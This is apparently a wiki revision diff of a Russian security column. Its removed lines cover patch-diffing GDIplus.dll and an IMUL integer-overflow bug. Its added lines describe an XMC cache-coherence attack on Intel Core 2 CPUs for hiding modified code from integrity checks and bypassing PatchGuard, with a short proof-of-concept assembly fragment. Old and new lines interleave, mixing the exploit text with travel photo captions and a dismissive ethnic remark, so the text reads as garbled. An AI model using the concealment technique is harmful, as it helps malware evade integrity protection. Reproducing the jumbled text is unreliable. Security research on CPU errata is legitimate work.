-**.text:​4EC52219callds:​HeapAlloc;​ // ****вот он!!!**+{{exploit-review-0x1e_Image_6.jpg?553}}
  
-.text:​4EC5221Fpopebp+Рисунок 7 азиатов действительно мало, но на них стоит посмотреть! грациозной походкой впорхнуть в переполненный вагон — не каждый русский на это способен!
  
-.text:​4EC52220retn4+Но это еще что! Существует возможность модифицировать код, загруженный в кэш первого уровня так, чтобы содержимое кэша данных первого уровня второго ядра осталось неизменным. Замечательное средство для обхода защит, контролирующих целостность кода. Поскольку,​ напрямую прочитать содержимое кодового кэша невозможно,​ приходится довольствоваться содержимым кэша данных,​ надеясь на то, что процессор поддерживает их в согласованном состоянии. Ага, разбежались! Дефекты кэш-контроллера ведут к нарушению когерентности и потому в кодовом кэше оказывается записано одно, а в кэше данных — совсем другое,​ причем,​ модифицированные ячейки кэша данных вытесняются в кэш второго уровня (кодовый кэш не вытесняется никогда!),​ а оттуда уже попадают в оперативную память.
  
-.text:​4EC52220 sub_4EC52209 ​ endp+{{exploit-review-0x1e_Image_7.jpg?553}}
  
-Листинг 3 функция библиотеки GDIplus.dll, ​найденная дедуктивным методом (приведен исправленный вариант)+Рисунок на центральных улицах поразительно малолюдно
  
-Кстатинаша подопытная ​располагается ​в списке matched функций на почетном 44'ом месте. То есть где-то примерно посередине ​и потому искать ее тупым попарным перебором пришлось бы очень ​долго. А так… мы потратили считанные минуты.Конечно, без везения здесь не обошлось,​ но с другой стороны, ведь и с ножом у горла никто ​не стоял! Цель ​хакерства — ​поразить цель с ультразвуковой скоростьюа целей для атаки намного больше, чем свободного времени. Если штурм крепости завершился провалом,​ мы просто переходим к следующей — вот и все!+Комбинирование двух типов ошибок поддержи когерентности позволяет ​создать ​весьма устойчивый "голландский гибрид", ​переживающий вытеснение ​модифицированных ячеек из кэша данных в оперативную память. Алгоритм ​атаки выглядит следующим образом:​
  
-{{exploit-review-0x1e_Image_5.png?553}}+  - ядро L1 модифицирует содержимое кэш-памяти первого уровня D2 таким образом,​ чтобы ядро L2 об этом ничего не знало;​ 
 +  - ядро L1 передает на модифицированный код выполнение,​ загружая его в кодовый кэш C1, при этом кэш D1 находится в согласованном состоянии с кэшем C1; 
 +  - ядро L2 по прежнему ничего не знает о факте модификации и потому попытка проверки целостности кода показывает,​ что все нормально — лучшего способа для маскировки зловредного кода, пожалуй,​ и не придумать,​ вот только… у злоумышленника нет никаких гарантий,​ что проверка будет выполняться именно на ядре L2, а не L1, поэтому,​ необходимо предпринять дополнительные действия;​ 
 +  - ОК, у нас имеется:​ модифицированный код и данные в C1 и D1, а так же не модифицированные данные в D2 — выполняя модификацию модифицрованных ячеек памяти в D1, хакер возвращает их в исходный вид. C1 об этом ничего не знает и потому не перезагружает кэш. А вот в кэш второго уровня будут вытеснены именно дважды модифицированные данные,​ то есть фактически не модифицированные,​ с тщательно вычищенными следами порчи. Как следствие — факт вторжения становится очень трудно обнаружить! 
 +Естественно,​ после перезагрузки C1 кэша все придется начинать сначала. То есть, перехватить системную функцию таким образом получится только на очень короткое время, впрочем,​ вполне достаточное для большинства задач, стоящих перед вирусами и червями. Ключевой фрагмент proof-of-concept ​exploit'а, демонстрирующего технику XMC-атак приведен ниже (см. листинг 2), ну а над законченным оружием возмездия еще предстоит поработать. Кстати говоря,​ идея использовать XMC-атаки для "​ослепления"​ механизмов проверки целостности кода/​данных возникла в ходе разговора с Александром Терешкинм — ведущим исследователем (principal researcher) из фирмы Invisible Things Lab. Да-да! Той самой, в которой работает Жанна Рутковская,​ поклявшаяся убить любого,​ кто снова спутает атаку на файл подкачки Windows с Голубой Пилюлей,​ последняя версия которой поддерживает вложенную виртуализацию,​ то есть, говоря человеческим языком,​ исправно работает под запущенным аппаратным эмулятором типа XEN'​а,​ что делает ее обнаружение очень проблематичным,​ если вообще возможным. Попутно — Жанна, которую все почему-то называют Джоанной,​ оказывается никакая не Жанна, но и не Джонна,​ а Юанна.
  
-Рисунок 6 наша подопытная находится на 44'​ом месте в списке matched функций+{{exploit-review-0x1e_Image_8.jpg?​553}}
  
-Кстати, забавная деталь — ​ошибка-то совсем в другом месте! Хотя и в функции sub_4ED096ED(HICON hIcon, int). Непатченная ​версия "​забывала" ​инициализировать поле bmiHeader.biHeight ​и потому в пофиксенной библиотеке появилась команда "​mov eax,​ [ebp+var_42C.bmiHeader.biHeight]",​ которую, собственно говоря,​ и "запеленговал"​ PatchDiff, однако, ошибка никуда деваться не собиралась, а как была, так и осталась.+Рисунок 9 ночная ​Малайзия (вид из отеля Crown PlazA – ​именно такс ударением ​на последний слог!)
  
-{{exploit-review-0x1e_Image_6.png?553}}+К сожалению,​ сама Юанна на конференции не обозначилась и мы с Александром туссовались в компании гордого одиночества на тридцатом этаже отела Crown Plaza MalaysiaДругих русскоязычных хакеров на HIBT замечено и не было. И вот пока мы с ним так туссовались,​ к нам подходили разные люди, чтобы обсудить проблемы виртуализации и атак на процессоры. Одним из них оказался Анатолий Зборальски,​ работающий в индонезийской конторе Bellua Asia Pacific. Идея обхода Patch Guard'​а посредством багистных процессоров — его. Ну а сейчас самое время продемонстрировать код с помощью которого это можно сделать. Кстати,​ код тоже не мой и его происхождение весьма любопытно. Изначально он задумывался как головоломка в стиле: "​угадай,​ что эта программа делает?", заброшенная на форум WASM'​а хакером PROFi (см. пост http://​www.wasm.ru/​forum/​viewtopic.php?​id=28983#​8),​ однако,​ в результате неправильно выбранного смещения регистра ESP, вместо того, чтобы затирать саму себя (как это задумывалась),​ инструкция POP перезаписывала команду,​ следующую за командой,​ вызывающей исключение,​ в результате чего на процессорах Intel Core 2 мы поимели XMC. Способ модификации команды может быть любым. Не обязательно использовать именно POP — MOV или STOS сработают ничуть не хуже. Исключение так же не обязательно нарушение доступа. Сгодится и "​инвалидная команда"​ (скажем UD2). Главное — чтобы модифицируемая команда располагалась после команды,​ вызывающей исключение,​ а модифицирующая команда находилась в пределах досягаемости конвейера и между ними отсутствовали ошибочно предсказанные ветвления,​ инструкции сериализации типа CPUID и прочий stuff.
  
-Рисунок 7 графическая репрезентация результатов сравнения непатченной и исправленной версии библиотеки GDIplus.dll+.00403854: ​ BC59384000movesp,​ 000403859
  
-Команда IMUL (смстроку ".text:4ED097F1 imul ecxeax") подвержена целочисленному переполнению,​ подробно описанному в блоге http://​securitylabs.websense.com/​content/​Blogs/​3178.aspx (уязвимость парсера RLE файлов в GDI+), где приводится багистная (см. рис. 8 слева) и исправленная (см. рис. 8 справа) версии библиотеки GDIplus.dll.+.00403859 ​8F442404popd[esp] [04]
  
-{{exploit-review-0x1e_Image_7.png?​263}}{{exploit-review-0x1e_Image_8.png?​270}}+.0040385D: ​ 33C0xoreax, eax
  
-Рисунок 8 ошибка в парсере RLE-файлов графической библиотеки GDIplus.dllсвязанная с целочисленным переполнением в команде IMUL, замененной командой MUL (слева — нефиксенная,​ справа — отпаченная версия)+.0040385F: ​ 8B00moveax[eax]
  
-Однако,​ при всей внешней схожести ​между этими примерами есть существенное различие. В нашем случае IMUL используется для детекции целочисленного переполнения (MS VC и некоторые другие компиляторы автоматически вставляют код, ​препятствующей передаче функции HeapAlloc заведомо некорректных значений). А вот в примере, взятым из блога, инструкция IMUL непосредственно задействована в вычислении ​требуемого размера блока выделяемой памяти, что совсем ​не одно и тоже!!!+Листинг 2 ключевой фрагмент кода, демонстрирующий XMC-атаку (только для ​32-битных ​систем!)
  
-Поэтому, сам по себе IMUL еще ​не свидетельство ​наличия дыры и прежде чем выносить ​окончательное заключение, следует проанализировать примыкающий к ней кодКонечно, это требует ​дополнительных затрат времени, но… код, вставляемый компилятором, весьма характерен и распознается с первого ​взгляда. А как именно он борется с переполнением подобно рассказывается в блоге одного из сотрудников Microsoft: http://​blogs.msdn.com/​michael_howard/​archive/​2005/​12/​06/​500629.aspx+При одновременном выполнении обозначенного кода на двух ​ядрах, одно ​ядро "почувствует" модификацию, а другое – нет. Разумеется, при условии, что в процессоре присутствует неисправленный багНебольшое расследование, проведенное мыщъхомпоказало, что среди мобильных ЦП багистные встречаются _намного_ чаще, в то время как в последних партиях ​десктопных процессорах, ошибки уже исправлены.